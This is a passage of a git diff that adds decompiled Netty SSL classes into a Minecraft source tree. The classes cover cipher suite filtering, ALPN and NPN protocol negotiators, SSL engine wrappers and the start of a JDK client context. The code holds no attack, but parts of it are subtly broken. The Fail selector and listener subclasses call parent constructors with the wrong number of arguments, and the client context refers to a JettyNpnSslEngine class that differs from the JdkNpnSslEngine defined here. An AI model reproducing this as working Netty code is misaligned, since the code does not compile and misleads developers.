+    return bulkCipher.replace('-', '_');
+  }
+  
+
+
+
+
+
+  private static String toJavaHmacAlgo(String hmacAlgo)
+  {
+    return hmacAlgo;
+  }
+  
+  private CipherSuiteConverter() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/CipherSuiteFilter.java b/src/minecraft/io/netty/handler/ssl/CipherSuiteFilter.java
new file mode 100644
index 0000000..e95cc47
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/CipherSuiteFilter.java
@@ -0,0 +1,9 @@
+package io.netty.handler.ssl;
+
+import java.util.List;
+import java.util.Set;
+
+public abstract interface CipherSuiteFilter
+{
+  public abstract String[] filterCipherSuites(Iterable<String> paramIterable, List<String> paramList, Set<String> paramSet);
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ClientAuth.java b/src/minecraft/io/netty/handler/ssl/ClientAuth.java
new file mode 100644
index 0000000..4048b22
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ClientAuth.java
@@ -0,0 +1,8 @@
+package io.netty.handler.ssl;
+
+public enum ClientAuth
+{
+  NONE,  OPTIONAL,  REQUIRE;
+  
+  private ClientAuth() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/DelegatingSslContext.java b/src/minecraft/io/netty/handler/ssl/DelegatingSslContext.java
new file mode 100644
index 0000000..ff3ee1f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/DelegatingSslContext.java
@@ -0,0 +1,81 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLSessionContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DelegatingSslContext
+  extends SslContext
+{
+  private final SslContext ctx;
+  
+  protected DelegatingSslContext(SslContext ctx)
+  {
+    this.ctx = ((SslContext)ObjectUtil.checkNotNull(ctx, "ctx"));
+  }
+  
+  public final boolean isClient()
+  {
+    return ctx.isClient();
+  }
+  
+  public final List<String> cipherSuites()
+  {
+    return ctx.cipherSuites();
+  }
+  
+  public final long sessionCacheSize()
+  {
+    return ctx.sessionCacheSize();
+  }
+  
+  public final long sessionTimeout()
+  {
+    return ctx.sessionTimeout();
+  }
+  
+  public final ApplicationProtocolNegotiator applicationProtocolNegotiator()
+  {
+    return ctx.applicationProtocolNegotiator();
+  }
+  
+  public final SSLEngine newEngine(ByteBufAllocator alloc)
+  {
+    SSLEngine engine = ctx.newEngine(alloc);
+    initEngine(engine);
+    return engine;
+  }
+  
+  public final SSLEngine newEngine(ByteBufAllocator alloc, String peerHost, int peerPort)
+  {
+    SSLEngine engine = ctx.newEngine(alloc, peerHost, peerPort);
+    initEngine(engine);
+    return engine;
+  }
+  
+  public final SSLSessionContext sessionContext()
+  {
+    return ctx.sessionContext();
+  }
+  
+  protected abstract void initEngine(SSLEngine paramSSLEngine);
+}
diff --git a/src/minecraft/io/netty/handler/ssl/IdentityCipherSuiteFilter.java b/src/minecraft/io/netty/handler/ssl/IdentityCipherSuiteFilter.java
new file mode 100644
index 0000000..e7cf9ee
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/IdentityCipherSuiteFilter.java
@@ -0,0 +1,46 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class IdentityCipherSuiteFilter
+  implements CipherSuiteFilter
+{
+  public static final IdentityCipherSuiteFilter INSTANCE = new IdentityCipherSuiteFilter();
+  
+
+  private IdentityCipherSuiteFilter() {}
+  
+  public String[] filterCipherSuites(Iterable<String> ciphers, List<String> defaultCiphers, Set<String> supportedCiphers)
+  {
+    if (ciphers == null) {
+      return (String[])defaultCiphers.toArray(new String[defaultCiphers.size()]);
+    }
+    List<String> newCiphers = InternalThreadLocalMap.get().arrayList(supportedCiphers.size());
+    for (String c : ciphers) {
+      if (c == null) {
+        break;
+      }
+      newCiphers.add(c);
+    }
+    return (String[])newCiphers.toArray(new String[newCiphers.size()]);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkAlpnApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/JdkAlpnApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..c74c960
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkAlpnApplicationProtocolNegotiator.java
@@ -0,0 +1,120 @@
+package io.netty.handler.ssl;
+
+import javax.net.ssl.SSLEngine;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JdkAlpnApplicationProtocolNegotiator
+  extends JdkBaseApplicationProtocolNegotiator
+{
+  private static final JdkApplicationProtocolNegotiator.SslEngineWrapperFactory ALPN_WRAPPER = new JdkApplicationProtocolNegotiator.SslEngineWrapperFactory()
+  {
+
+
+
+
+    public SSLEngine wrapSslEngine(SSLEngine engine, JdkApplicationProtocolNegotiator applicationNegotiator, boolean isServer)
+    {
+
+
+
+      return new JdkAlpnSslEngine(engine, applicationNegotiator, isServer);
+    }
+  };
+  
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(Iterable<String> protocols)
+  {
+    this(false, protocols);
+  }
+  
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(String... protocols)
+  {
+    this(false, protocols);
+  }
+  
+
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(boolean failIfNoCommonProtocols, Iterable<String> protocols)
+  {
+    this(failIfNoCommonProtocols, failIfNoCommonProtocols, protocols);
+  }
+  
+
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(boolean failIfNoCommonProtocols, String... protocols)
+  {
+    this(failIfNoCommonProtocols, failIfNoCommonProtocols, protocols);
+  }
+  
+
+
+
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(boolean clientFailIfNoCommonProtocols, boolean serverFailIfNoCommonProtocols, Iterable<String> protocols)
+  {
+    this(serverFailIfNoCommonProtocols ? FAIL_SELECTOR_FACTORY : NO_FAIL_SELECTOR_FACTORY, clientFailIfNoCommonProtocols ? FAIL_SELECTION_LISTENER_FACTORY : NO_FAIL_SELECTION_LISTENER_FACTORY, protocols);
+  }
+  
+
+
+
+
+
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(boolean clientFailIfNoCommonProtocols, boolean serverFailIfNoCommonProtocols, String... protocols)
+  {
+    this(serverFailIfNoCommonProtocols ? FAIL_SELECTOR_FACTORY : NO_FAIL_SELECTOR_FACTORY, clientFailIfNoCommonProtocols ? FAIL_SELECTION_LISTENER_FACTORY : NO_FAIL_SELECTION_LISTENER_FACTORY, protocols);
+  }
+  
+
+
+
+
+
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory, JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory, Iterable<String> protocols)
+  {
+    super(ALPN_WRAPPER, selectorFactory, listenerFactory, protocols);
+  }
+  
+
+
+
+
+
+
+  public JdkAlpnApplicationProtocolNegotiator(JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory, JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory, String... protocols)
+  {
+    super(ALPN_WRAPPER, selectorFactory, listenerFactory, protocols);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkAlpnSslEngine.java b/src/minecraft/io/netty/handler/ssl/JdkAlpnSslEngine.java
new file mode 100644
index 0000000..7d82152
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkAlpnSslEngine.java
@@ -0,0 +1,124 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.LinkedHashSet;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLHandshakeException;
+import org.eclipse.jetty.alpn.ALPN;
+import org.eclipse.jetty.alpn.ALPN.ClientProvider;
+import org.eclipse.jetty.alpn.ALPN.ServerProvider;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class JdkAlpnSslEngine
+  extends JdkSslEngine
+{
+  private static boolean available;
+  
+  static boolean isAvailable()
+  {
+    updateAvailability();
+    return available;
+  }
+  
+  private static void updateAvailability() {
+    if (available) {
+      return;
+    }
+    
+    try
+    {
+      Class.forName("sun.security.ssl.ALPNExtension", true, null);
+      available = true;
+    }
+    catch (Exception localException) {}
+  }
+  
+  JdkAlpnSslEngine(SSLEngine engine, final JdkApplicationProtocolNegotiator applicationNegotiator, boolean server)
+  {
+    super(engine);
+    ObjectUtil.checkNotNull(applicationNegotiator, "applicationNegotiator");
+    
+    if (server) {
+      final JdkApplicationProtocolNegotiator.ProtocolSelector protocolSelector = (JdkApplicationProtocolNegotiator.ProtocolSelector)ObjectUtil.checkNotNull(applicationNegotiator.protocolSelectorFactory().newSelector(this, new LinkedHashSet(applicationNegotiator.protocols())), "protocolSelector");
+      
+
+      ALPN.put(engine, new ALPN.ServerProvider()
+      {
+        public String select(List<String> protocols) throws SSLException {
+          try {
+            return protocolSelector.select(protocols);
+          } catch (SSLHandshakeException e) {
+            throw e;
+          } catch (Throwable t) {
+            SSLHandshakeException e = new SSLHandshakeException(t.getMessage());
+            e.initCause(t);
+            throw e;
+          }
+        }
+        
+        public void unsupported()
+        {
+          protocolSelector.unsupported();
+        }
+      });
+    } else {
+      final JdkApplicationProtocolNegotiator.ProtocolSelectionListener protocolListener = (JdkApplicationProtocolNegotiator.ProtocolSelectionListener)ObjectUtil.checkNotNull(applicationNegotiator.protocolListenerFactory().newListener(this, applicationNegotiator.protocols()), "protocolListener");
+      
+
+      ALPN.put(engine, new ALPN.ClientProvider()
+      {
+        public List<String> protocols() {
+          return applicationNegotiator.protocols();
+        }
+        
+        public void selected(String protocol) throws SSLException
+        {
+          try {
+            protocolListener.selected(protocol);
+          } catch (SSLHandshakeException e) {
+            throw e;
+          } catch (Throwable t) {
+            SSLHandshakeException e = new SSLHandshakeException(t.getMessage());
+            e.initCause(t);
+            throw e;
+          }
+        }
+        
+        public void unsupported()
+        {
+          protocolListener.unsupported();
+        }
+      });
+    }
+  }
+  
+  public void closeInbound() throws SSLException
+  {
+    ALPN.remove(getWrappedEngine());
+    super.closeInbound();
+  }
+  
+  public void closeOutbound()
+  {
+    ALPN.remove(getWrappedEngine());
+    super.closeOutbound();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/JdkApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..b7d131c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkApplicationProtocolNegotiator.java
@@ -0,0 +1,46 @@
+package io.netty.handler.ssl;
+
+import java.util.List;
+import java.util.Set;
+import javax.net.ssl.SSLEngine;
+
+public abstract interface JdkApplicationProtocolNegotiator
+  extends ApplicationProtocolNegotiator
+{
+  public abstract SslEngineWrapperFactory wrapperFactory();
+  
+  public abstract ProtocolSelectorFactory protocolSelectorFactory();
+  
+  public abstract ProtocolSelectionListenerFactory protocolListenerFactory();
+  
+  public static abstract interface ProtocolSelectionListenerFactory
+  {
+    public abstract JdkApplicationProtocolNegotiator.ProtocolSelectionListener newListener(SSLEngine paramSSLEngine, List<String> paramList);
+  }
+  
+  public static abstract interface ProtocolSelectorFactory
+  {
+    public abstract JdkApplicationProtocolNegotiator.ProtocolSelector newSelector(SSLEngine paramSSLEngine, Set<String> paramSet);
+  }
+  
+  public static abstract interface ProtocolSelectionListener
+  {
+    public abstract void unsupported();
+    
+    public abstract void selected(String paramString)
+      throws Exception;
+  }
+  
+  public static abstract interface ProtocolSelector
+  {
+    public abstract void unsupported();
+    
+    public abstract String select(List<String> paramList)
+      throws Exception;
+  }
+  
+  public static abstract interface SslEngineWrapperFactory
+  {
+    public abstract SSLEngine wrapSslEngine(SSLEngine paramSSLEngine, JdkApplicationProtocolNegotiator paramJdkApplicationProtocolNegotiator, boolean paramBoolean);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkBaseApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/JdkBaseApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..073c79f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkBaseApplicationProtocolNegotiator.java
@@ -0,0 +1,208 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLHandshakeException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class JdkBaseApplicationProtocolNegotiator
+  implements JdkApplicationProtocolNegotiator
+{
+  private final List<String> protocols;
+  private final JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory;
+  private final JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory;
+  private final JdkApplicationProtocolNegotiator.SslEngineWrapperFactory wrapperFactory;
+  
+  protected JdkBaseApplicationProtocolNegotiator(JdkApplicationProtocolNegotiator.SslEngineWrapperFactory wrapperFactory, JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory, JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory, Iterable<String> protocols)
+  {
+    this(wrapperFactory, selectorFactory, listenerFactory, ApplicationProtocolUtil.toList(protocols));
+  }
+  
+
+
+
+
+
+
+
+
+  protected JdkBaseApplicationProtocolNegotiator(JdkApplicationProtocolNegotiator.SslEngineWrapperFactory wrapperFactory, JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory, JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory, String... protocols)
+  {
+    this(wrapperFactory, selectorFactory, listenerFactory, ApplicationProtocolUtil.toList(protocols));
+  }
+  
+
+
+
+
+
+
+
+
+  private JdkBaseApplicationProtocolNegotiator(JdkApplicationProtocolNegotiator.SslEngineWrapperFactory wrapperFactory, JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory, JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory, List<String> protocols)
+  {
+    this.wrapperFactory = ((JdkApplicationProtocolNegotiator.SslEngineWrapperFactory)ObjectUtil.checkNotNull(wrapperFactory, "wrapperFactory"));
+    this.selectorFactory = ((JdkApplicationProtocolNegotiator.ProtocolSelectorFactory)ObjectUtil.checkNotNull(selectorFactory, "selectorFactory"));
+    this.listenerFactory = ((JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory)ObjectUtil.checkNotNull(listenerFactory, "listenerFactory"));
+    this.protocols = Collections.unmodifiableList((List)ObjectUtil.checkNotNull(protocols, "protocols"));
+  }
+  
+  public List<String> protocols()
+  {
+    return protocols;
+  }
+  
+  public JdkApplicationProtocolNegotiator.ProtocolSelectorFactory protocolSelectorFactory()
+  {
+    return selectorFactory;
+  }
+  
+  public JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory protocolListenerFactory()
+  {
+    return listenerFactory;
+  }
+  
+  public JdkApplicationProtocolNegotiator.SslEngineWrapperFactory wrapperFactory()
+  {
+    return wrapperFactory;
+  }
+  
+  static final JdkApplicationProtocolNegotiator.ProtocolSelectorFactory FAIL_SELECTOR_FACTORY = new JdkApplicationProtocolNegotiator.ProtocolSelectorFactory()
+  {
+    public JdkApplicationProtocolNegotiator.ProtocolSelector newSelector(SSLEngine engine, Set<String> supportedProtocols) {
+      return new JdkBaseApplicationProtocolNegotiator.FailProtocolSelector((JdkSslEngine)engine, supportedProtocols);
+    }
+  };
+  
+  static final JdkApplicationProtocolNegotiator.ProtocolSelectorFactory NO_FAIL_SELECTOR_FACTORY = new JdkApplicationProtocolNegotiator.ProtocolSelectorFactory()
+  {
+    public JdkApplicationProtocolNegotiator.ProtocolSelector newSelector(SSLEngine engine, Set<String> supportedProtocols) {
+      return new JdkBaseApplicationProtocolNegotiator.NoFailProtocolSelector((JdkSslEngine)engine, supportedProtocols);
+    }
+  };
+  
+  static final JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory FAIL_SELECTION_LISTENER_FACTORY = new JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory()
+  {
+    public JdkApplicationProtocolNegotiator.ProtocolSelectionListener newListener(SSLEngine engine, List<String> supportedProtocols)
+    {
+      return new JdkBaseApplicationProtocolNegotiator.FailProtocolSelectionListener((JdkSslEngine)engine, supportedProtocols);
+    }
+  };
+  
+  static final JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory NO_FAIL_SELECTION_LISTENER_FACTORY = new JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory()
+  {
+    public JdkApplicationProtocolNegotiator.ProtocolSelectionListener newListener(SSLEngine engine, List<String> supportedProtocols)
+    {
+      return new JdkBaseApplicationProtocolNegotiator.NoFailProtocolSelectionListener((JdkSslEngine)engine, supportedProtocols);
+    }
+  };
+  
+  protected static class NoFailProtocolSelector implements JdkApplicationProtocolNegotiator.ProtocolSelector {
+    private final JdkSslEngine jettyWrapper;
+    private final Set<String> supportedProtocols;
+    
+    public NoFailProtocolSelector(JdkSslEngine jettyWrapper, Set<String> supportedProtocols) {
+      this.jettyWrapper = jettyWrapper;
+      this.supportedProtocols = supportedProtocols;
+    }
+    
+    public void unsupported()
+    {
+      jettyWrapper.getSession().setApplicationProtocol(null);
+    }
+    
+    public String select(List<String> protocols) throws Exception
+    {
+      for (String p : supportedProtocols) {
+        if (protocols.contains(p)) {
+          jettyWrapper.getSession().setApplicationProtocol(p);
+          return p;
+        }
+      }
+      return noSelectMatchFound();
+    }
+    
+    public String noSelectMatchFound() throws Exception {
+      jettyWrapper.getSession().setApplicationProtocol(null);
+      return null;
+    }
+  }
+  
+  protected static final class FailProtocolSelector extends JdkBaseApplicationProtocolNegotiator.NoFailProtocolSelector {
+    public FailProtocolSelector(JdkSslEngine jettyWrapper, Set<String> supportedProtocols) {
+      super(supportedProtocols);
+    }
+    
+    public String noSelectMatchFound() throws Exception
+    {
+      throw new SSLHandshakeException("Selected protocol is not supported");
+    }
+  }
+  
+  protected static class NoFailProtocolSelectionListener implements JdkApplicationProtocolNegotiator.ProtocolSelectionListener {
+    private final JdkSslEngine jettyWrapper;
+    private final List<String> supportedProtocols;
+    
+    public NoFailProtocolSelectionListener(JdkSslEngine jettyWrapper, List<String> supportedProtocols) {
+      this.jettyWrapper = jettyWrapper;
+      this.supportedProtocols = supportedProtocols;
+    }
+    
+    public void unsupported()
+    {
+      jettyWrapper.getSession().setApplicationProtocol(null);
+    }
+    
+    public void selected(String protocol) throws Exception
+    {
+      if (supportedProtocols.contains(protocol)) {
+        jettyWrapper.getSession().setApplicationProtocol(protocol);
+      } else {
+        noSelectedMatchFound(protocol);
+      }
+    }
+    
+    public void noSelectedMatchFound(String protocol) throws Exception
+    {}
+  }
+  
+  protected static final class FailProtocolSelectionListener extends JdkBaseApplicationProtocolNegotiator.NoFailProtocolSelectionListener {
+    public FailProtocolSelectionListener(JdkSslEngine jettyWrapper, List<String> supportedProtocols) {
+      super(supportedProtocols);
+    }
+    
+    public void noSelectedMatchFound(String protocol) throws Exception
+    {
+      throw new SSLHandshakeException("No compatible protocols found");
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkDefaultApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/JdkDefaultApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..09f3b4f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkDefaultApplicationProtocolNegotiator.java
@@ -0,0 +1,60 @@
+package io.netty.handler.ssl;
+
+import java.util.Collections;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class JdkDefaultApplicationProtocolNegotiator
+  implements JdkApplicationProtocolNegotiator
+{
+  public static final JdkDefaultApplicationProtocolNegotiator INSTANCE = new JdkDefaultApplicationProtocolNegotiator();
+  
+  private static final JdkApplicationProtocolNegotiator.SslEngineWrapperFactory DEFAULT_SSL_ENGINE_WRAPPER_FACTORY = new JdkApplicationProtocolNegotiator.SslEngineWrapperFactory()
+  {
+    public SSLEngine wrapSslEngine(SSLEngine engine, JdkApplicationProtocolNegotiator applicationNegotiator, boolean isServer)
+    {
+      return engine;
+    }
+  };
+  
+
+  private JdkDefaultApplicationProtocolNegotiator() {}
+  
+  public JdkApplicationProtocolNegotiator.SslEngineWrapperFactory wrapperFactory()
+  {
+    return DEFAULT_SSL_ENGINE_WRAPPER_FACTORY;
+  }
+  
+  public JdkApplicationProtocolNegotiator.ProtocolSelectorFactory protocolSelectorFactory()
+  {
+    throw new UnsupportedOperationException("Application protocol negotiation unsupported");
+  }
+  
+  public JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory protocolListenerFactory()
+  {
+    throw new UnsupportedOperationException("Application protocol negotiation unsupported");
+  }
+  
+  public List<String> protocols()
+  {
+    return Collections.emptyList();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkNpnApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/JdkNpnApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..e0a64e6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkNpnApplicationProtocolNegotiator.java
@@ -0,0 +1,120 @@
+package io.netty.handler.ssl;
+
+import javax.net.ssl.SSLEngine;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JdkNpnApplicationProtocolNegotiator
+  extends JdkBaseApplicationProtocolNegotiator
+{
+  private static final JdkApplicationProtocolNegotiator.SslEngineWrapperFactory NPN_WRAPPER = new JdkApplicationProtocolNegotiator.SslEngineWrapperFactory()
+  {
+
+
+
+
+    public SSLEngine wrapSslEngine(SSLEngine engine, JdkApplicationProtocolNegotiator applicationNegotiator, boolean isServer)
+    {
+
+
+
+      return new JdkNpnSslEngine(engine, applicationNegotiator, isServer);
+    }
+  };
+  
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(Iterable<String> protocols)
+  {
+    this(false, protocols);
+  }
+  
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(String... protocols)
+  {
+    this(false, protocols);
+  }
+  
+
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(boolean failIfNoCommonProtocols, Iterable<String> protocols)
+  {
+    this(failIfNoCommonProtocols, failIfNoCommonProtocols, protocols);
+  }
+  
+
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(boolean failIfNoCommonProtocols, String... protocols)
+  {
+    this(failIfNoCommonProtocols, failIfNoCommonProtocols, protocols);
+  }
+  
+
+
+
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(boolean clientFailIfNoCommonProtocols, boolean serverFailIfNoCommonProtocols, Iterable<String> protocols)
+  {
+    this(clientFailIfNoCommonProtocols ? FAIL_SELECTOR_FACTORY : NO_FAIL_SELECTOR_FACTORY, serverFailIfNoCommonProtocols ? FAIL_SELECTION_LISTENER_FACTORY : NO_FAIL_SELECTION_LISTENER_FACTORY, protocols);
+  }
+  
+
+
+
+
+
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(boolean clientFailIfNoCommonProtocols, boolean serverFailIfNoCommonProtocols, String... protocols)
+  {
+    this(clientFailIfNoCommonProtocols ? FAIL_SELECTOR_FACTORY : NO_FAIL_SELECTOR_FACTORY, serverFailIfNoCommonProtocols ? FAIL_SELECTION_LISTENER_FACTORY : NO_FAIL_SELECTION_LISTENER_FACTORY, protocols);
+  }
+  
+
+
+
+
+
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory, JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory, Iterable<String> protocols)
+  {
+    super(NPN_WRAPPER, selectorFactory, listenerFactory, protocols);
+  }
+  
+
+
+
+
+
+
+  public JdkNpnApplicationProtocolNegotiator(JdkApplicationProtocolNegotiator.ProtocolSelectorFactory selectorFactory, JdkApplicationProtocolNegotiator.ProtocolSelectionListenerFactory listenerFactory, String... protocols)
+  {
+    super(NPN_WRAPPER, selectorFactory, listenerFactory, protocols);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkNpnSslEngine.java b/src/minecraft/io/netty/handler/ssl/JdkNpnSslEngine.java
new file mode 100644
index 0000000..d4f29fd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkNpnSslEngine.java
@@ -0,0 +1,122 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import java.util.LinkedHashSet;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLException;
+import org.eclipse.jetty.npn.NextProtoNego;
+import org.eclipse.jetty.npn.NextProtoNego.ClientProvider;
+import org.eclipse.jetty.npn.NextProtoNego.ServerProvider;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class JdkNpnSslEngine
+  extends JdkSslEngine
+{
+  private static boolean available;
+  
+  static boolean isAvailable()
+  {
+    updateAvailability();
+    return available;
+  }
+  
+  private static void updateAvailability() {
+    if (available) {
+      return;
+    }
+    try
+    {
+      Class.forName("sun.security.ssl.NextProtoNegoExtension", true, null);
+      available = true;
+    }
+    catch (Exception localException) {}
+  }
+  
+  JdkNpnSslEngine(SSLEngine engine, final JdkApplicationProtocolNegotiator applicationNegotiator, boolean server)
+  {
+    super(engine);
+    ObjectUtil.checkNotNull(applicationNegotiator, "applicationNegotiator");
+    
+    if (server) {
+      final JdkApplicationProtocolNegotiator.ProtocolSelectionListener protocolListener = (JdkApplicationProtocolNegotiator.ProtocolSelectionListener)ObjectUtil.checkNotNull(applicationNegotiator.protocolListenerFactory().newListener(this, applicationNegotiator.protocols()), "protocolListener");
+      
+
+      NextProtoNego.put(engine, new NextProtoNego.ServerProvider()
+      {
+        public void unsupported() {
+          protocolListener.unsupported();
+        }
+        
+        public List<String> protocols()
+        {
+          return applicationNegotiator.protocols();
+        }
+        
+        public void protocolSelected(String protocol)
+        {
+          try {
+            protocolListener.selected(protocol);
+          } catch (Throwable t) {
+            PlatformDependent.throwException(t);
+          }
+        }
+      });
+    } else {
+      final JdkApplicationProtocolNegotiator.ProtocolSelector protocolSelector = (JdkApplicationProtocolNegotiator.ProtocolSelector)ObjectUtil.checkNotNull(applicationNegotiator.protocolSelectorFactory().newSelector(this, new LinkedHashSet(applicationNegotiator.protocols())), "protocolSelector");
+      
+
+      NextProtoNego.put(engine, new NextProtoNego.ClientProvider()
+      {
+        public boolean supports() {
+          return true;
+        }
+        
+        public void unsupported()
+        {
+          protocolSelector.unsupported();
+        }
+        
+        public String selectProtocol(List<String> protocols)
+        {
+          try {
+            return protocolSelector.select(protocols);
+          } catch (Throwable t) {
+            PlatformDependent.throwException(t); }
+          return null;
+        }
+      });
+    }
+  }
+  
+  public void closeInbound()
+    throws SSLException
+  {
+    NextProtoNego.remove(getWrappedEngine());
+    super.closeInbound();
+  }
+  
+  public void closeOutbound()
+  {
+    NextProtoNego.remove(getWrappedEngine());
+    super.closeOutbound();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkSslClientContext.java b/src/minecraft/io/netty/handler/ssl/JdkSslClientContext.java
new file mode 100644
index 0000000..c2507c9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkSslClientContext.java
@@ -0,0 +1,190 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import java.io.File;
+import java.security.KeyStore;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLSessionContext;
+import javax.net.ssl.TrustManagerFactory;
+import javax.security.auth.x500.X500Principal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JdkSslClientContext
+  extends JdkSslContext
+{
+  private final SSLContext ctx;
+  private final List<String> nextProtocols;
+  
+  public JdkSslClientContext()
+    throws SSLException
+  {
+    this(null, null, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+  public JdkSslClientContext(File certChainFile)
+    throws SSLException
+  {
+    this(certChainFile, null);
+  }
+  
+
+
+
+
+
+  public JdkSslClientContext(TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    this(null, trustManagerFactory);
+  }
+  
+
+
+
+
+
+
+
+  public JdkSslClientContext(File certChainFile, TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    this(certChainFile, trustManagerFactory, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JdkSslClientContext(File certChainFile, TrustManagerFactory trustManagerFactory, Iterable<String> ciphers, Iterable<String> nextProtocols, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    super(ciphers);
+    
+    if ((nextProtocols != null) && (nextProtocols.iterator().hasNext())) {
+      if (!JettyNpnSslEngine.isAvailable()) {
+        throw new SSLException("NPN/ALPN unsupported: " + nextProtocols);
+      }
+      
+      List<String> nextProtoList = new ArrayList();
+      for (String p : nextProtocols) {
+        if (p == null) {
+          break;
+        }
+        nextProtoList.add(p);
+      }
+      this.nextProtocols = Collections.unmodifiableList(nextProtoList);
+    } else {
